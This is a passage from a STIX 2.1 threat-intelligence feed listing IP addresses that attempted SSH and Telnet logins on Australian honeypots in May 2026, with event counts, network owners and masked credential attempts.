      "pattern": "[ipv4-addr:value = '190.48.16.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:15:10.000Z",
      "valid_until": "2026-06-28T10:15:08.000Z"
    },
    {
      "created": "2026-05-27T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--67aaf822-9ef1-4c9d-b6ad-4600d5287162",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:15:10.000Z",
      "valid_until": "2026-06-28T10:15:08.000Z"
    },
    {
      "created": "2026-05-27T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a071f222-f622-4686-983a-3955b0de2df5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:15:11.000Z",
      "valid_until": "2026-06-28T11:15:08.000Z"
    },
    {
      "created": "2026-05-27T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 8386. Organisation(s): Vodafone Net Iletisim Hizmetler AS.",
      "id": "indicator--d18554fe-4c59-40b5-9db4-91bddac87fe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.155.209.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:15:11.000Z",
      "valid_until": "2026-06-28T11:15:08.000Z"
    },
    {
      "created": "2026-05-27T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--b30961ba-c355-4f3c-9870-05bc00b696cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.17.154.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:15:11.000Z",
      "valid_until": "2026-06-28T11:15:08.000Z"
    },
    {
      "created": "2026-05-27T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19318. Organisation(s): Interserver, Inc.",
      "id": "indicator--464a147f-a8cb-4359-8939-da73f6300a6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.168.211.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T11:15:11.000Z",
      "valid_until": "2026-06-28T11:15:08.000Z"
    },
    {
      "created": "2026-05-27T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--16f09d24-6837-4e9a-ad1c-ca5cca75e149",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.195.100.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:15:11.000Z",
      "valid_until": "2026-06-28T12:15:08.000Z"
    },
    {
      "created": "2026-05-27T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 27882. Organisation(s): Telefonica Celular de Bolivia S.A.. Usernames observed (masked): r**t, 3**********4, s*****d, a**x, d****s. Passwords observed (masked): 3***********4, 3**********4, 1*****m, 1*******9, A******3.",
      "id": "indicator--cbc5f448-405e-4e6a-8076-464ecf12a723",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.188.172.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:15:11.000Z",
      "valid_until": "2026-06-28T12:15:08.000Z"
    },
    {
      "created": "2026-05-27T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 173. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, u****u, s*****d, 3**********4, b*****r. Passwords observed (masked): 1****3, ***, 1******a, 1******X, 3***********4.",
      "id": "indicator--a4781463-413c-40ad-bda8-1b4f9e004e50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.154.229.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:15:11.000Z",
      "valid_until": "2026-06-28T12:15:08.000Z"
    },
    {
      "created": "2026-05-27T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--1dca27e6-bf4b-423d-96f1-1664ccca916b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.14.12.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:15:11.000Z",
      "valid_until": "2026-06-28T12:15:08.000Z"
    },
    {
      "created": "2026-05-27T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--4139dea8-3177-408b-b122-0ccb84b5c66a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.19.74.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:15:11.000Z",
      "valid_until": "2026-06-28T12:15:08.000Z"
    },
    {
      "created": "2026-05-27T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--a3d61e44-3888-4e5b-a0fa-dd7ae9efa2b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.96.202.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:15:11.000Z",
      "valid_until": "2026-06-28T13:15:08.000Z"
    },
    {
      "created": "2026-05-27T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--fb880fa8-78f0-4908-ad23-6ed94244d5da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.255.225.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:15:11.000Z",
      "valid_until": "2026-06-28T13:15:08.000Z"
    },
    {
      "created": "2026-05-27T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--624cbd59-efb4-4f2d-ba7a-98dda75ca172",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.155.172.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:15:11.000Z",
      "valid_until": "2026-06-28T13:15:08.000Z"
    },
    {
      "created": "2026-05-27T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--41136621-067a-490c-a5b4-b9025ddce255",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:15:11.000Z",
      "valid_until": "2026-06-28T13:15:08.000Z"
    },
    {
      "created": "2026-05-27T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--45661710-4edd-4f96-8938-18572c0fd056",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.12.244.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:15:11.000Z",
      "valid_until": "2026-06-28T14:15:08.000Z"
    },
    {
      "created": "2026-05-27T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--a99f852d-6b2a-4647-9cce-bb0be945342b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.50.145.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:15:11.000Z",
      "valid_until": "2026-06-28T14:15:08.000Z"
    },
    {
      "created": "2026-05-27T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268911. Organisation(s): ESMILENE GOIS FRANCA - ME.",
      "id": "indicator--35db54e6-5332-44f7-b55b-c80484b93145",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.123.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:15:11.000Z",
      "valid_until": "2026-06-28T14:15:08.000Z"
    },
    {
      "created": "2026-05-27T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d80d57ac-f837-4057-a8ab-9223054f3151",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:15:11.000Z",
      "valid_until": "2026-06-28T14:15:08.000Z"
    },
    {
      "created": "2026-05-27T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16591. Organisation(s): Google Fiber Inc..",
      "id": "indicator--910ecfd9-0c87-43a6-be4f-0a91d866fc12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.34.134.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:15:11.000Z",
      "valid_until": "2026-06-28T15:15:08.000Z"
    },
    {
      "created": "2026-05-27T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: CZ. Usernames observed (masked): s****m, O*******c, ***, **. Passwords observed (masked): 0**********D, O************Z, ***, b*********6, r*******y.",
      "id": "indicator--9dd8211d-a610-41d1-bdfa-2459f4610fbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.182.81.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:15:11.000Z",
      "valid_until": "2026-06-28T15:15:08.000Z"
    },
    {
      "created": "2026-05-27T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--6052ffc7-97c8-404a-b11f-76592dd81856",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.156.48.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:15:11.000Z",
      "valid_until": "2026-06-28T17:15:08.000Z"
    },
    {
      "created": "2026-05-27T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--e1fedc7d-d97c-4984-9a97-2e684414c089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.30.142.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:15:11.000Z",
      "valid_until": "2026-06-28T17:15:08.000Z"
    },
    {
      "created": "2026-05-27T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TN. ASN(s): 37705. Organisation(s): TOPNET.",
      "id": "indicator--a6997b26-087b-4357-a771-ebb1f4a22ff2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.2.38.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:15:11.000Z",
      "valid_until": "2026-06-28T17:15:08.000Z"
    },
    {
      "created": "2026-05-27T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0ec50c06-f303-43b1-b311-19122e4435c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:15:11.000Z",
      "valid_until": "2026-06-28T17:15:08.000Z"
    },
    {
      "created": "2026-05-27T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--aafc8299-3552-4063-8d24-e0b48755df5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.124.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:15:11.000Z",
      "valid_until": "2026-06-28T17:15:08.000Z"
    },
    {
      "created": "2026-05-27T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268066. Organisation(s): PIONEIRA COMUNICACAO MULTIMIDIA LTDA.",
      "id": "indicator--1b6cc8b3-b274-4f42-8762-7baf5eb81cc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.167.233.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:15:11.000Z",
      "valid_until": "2026-06-28T17:15:08.000Z"
    },
    {
      "created": "2026-05-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139456. Organisation(s): PT DEWAWEB.",
      "id": "indicator--db9d9c3b-4a85-4e90-99be-9a46cdd595e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.152.242.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T18:15:11.000Z",
      "valid_until": "2026-06-28T18:15:08.000Z"
    },
    {
      "created": "2026-05-27T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 133731. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--7e7a97b9-f3ca-4100-b114-c7e798b68601",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.39.109.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T18:15:11.000Z",
      "valid_until": "2026-06-28T18:15:08.000Z"
    },
    {
      "created": "2026-05-27T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3a3ea5f5-5e65-4836-9596-a4a18836b26b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.235.130.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T18:15:11.000Z",
      "valid_until": "2026-06-28T18:15:08.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AO. ASN(s): 328154. Organisation(s): NETSPACE. Usernames observed (masked): m***m, r**t, 3**********4, v*****t. Passwords observed (masked): ***, 1**4, 1*******c, 3***********4, 3**********4.",
      "id": "indicator--c7972263-41bf-42b4-b1bd-a3ab059fd4e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.213.34.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): r**t, 3**********4, d*****a, r**o. Passwords observed (masked): 1****6, 3*******5, 3***********4, 3**********4, d*****a.",
      "id": "indicator--7d38282b-e624-4845-ae93-15867130d481",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.99.102.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, u**r, w**2. Passwords observed (masked): 1*******r, 1*******#, A********5, L******6, Q*******7.",
      "id": "indicator--9d363862-8b3a-43dc-8469-b655399e1b2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.35.187.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 542. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c***o, d*******r, m*****r. Passwords observed (masked): 1**4, 1****6, a***n, 1***5, p******d.",
      "id": "indicator--5ebf541f-da85-4182-9bac-8a1293105e89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.243.151.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--c9e2e453-9290-4987-bcfc-e9fe0df2243a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.186.134.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ec8c3aa8-f8c5-4285-a657-b7751586df7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.171.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:15:15.000Z",
      "valid_until": "2026-06-28T19:15:03.000Z"
    },
    {
      "created": "2026-05-27T19:15:15.000Z",
